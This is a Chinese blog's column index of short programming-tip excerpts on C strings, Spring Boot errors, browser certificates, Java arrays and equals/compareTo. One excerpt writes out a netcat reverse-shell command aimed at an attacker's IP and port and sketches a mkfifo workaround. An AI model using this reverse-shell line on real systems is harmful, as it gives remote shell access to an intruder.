
tips
记录编程技术中的一些小技巧、小经验、小窍门
蜗牛hb
这个作者很懒,什么都没留下…
展开
-
C语言字符串的坑
C语言原生字符串以‘\0’为结束符,因此不能用C语言的字符串来存储图片数据或其他二进制数据。// str2中包含了'\0',所以字符串被认为是提前结束了。原创 2024-08-09 21:11:58 · 192 阅读 · 0 评论 -
springboot项目搭建常见的坑
解决方法:jdk版本问题,springboot3只支持java17及以上版本,不支持java1.8版本。如果非要使用sprintboot3,只能将java升级到17版本,如果只想使用java1.8版本,那么就在pom文件中改回到springboot2版本。报错2:尝试运行application,报如下错误,或者报“Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:3.11.0:compile”的错误。原创 2024-05-20 11:22:26 · 886 阅读 · 0 评论 -
网络抓包时,谷歌浏览器显示“您的连接不是私密链接”
5.最后在谷歌浏览器“管理证书”窗口中选择“受信任的根证书颁发机构”,然后导入证书,关闭并重新打开浏览器即可。1.点击左上角“不安全“,然后点击”证书无效“。3.点击详细信息,然后在证书层次结构中选中。出现这种问题往往是安全证书出了问题。4.会在指定位置生成证书。2.显示如下所示窗口。原创 2024-05-13 18:31:31 · 1049 阅读 · 0 评论 -
netcat工具无法使用 -e 参数
使用mkfifo或mknod命令创建一个命名管道,然后使用cat命令读取管道中的内容,并将其传递给/bin/sh执行,再将输出重定向到nc连接。nc -e /bin/sh 攻击者的IP 端口。当在linux中使用netcat进行反向连接时,这说明此netcat不支持 -e 参数。原创 2024-05-11 08:46:34 · 399 阅读 · 0 评论 -
基于java原生数组,设计一个动态的数组
些集合类提供了动态增加删除元素的功能,但是数组的访问效率比ArrayList高,所以我们如果在遇到访问较多的情景,最好还是使用数组来存储数据。Java原生数组的大小在创建时就被固定,并且不能更改。这意味着它们是静态的或者说是不可变的。如果你尝试添加或删除数组中的元素,你会得到一个。下面我们就来写一个支持增删改查的动态数组,这样就不用担心数组越界、增加删除元素不方便的一系列问题啦!这种特性会导致我们在使用数组时不太方便,虽然。原创 2024-04-25 19:26:37 · 476 阅读 · 0 评论 -
java重写自定义类equals和compareTo方法
此时运行结果为false,但是这与常识相反,明明都是名字为Jerry,学号为1011的学生,但是判断结果却为false,所以此时需要重写Student类中的equals方法,不让它进行地址比较。这三个判断逻辑是固定写法,记住即可!原创 2024-04-23 09:44:01 · 372 阅读 · 0 评论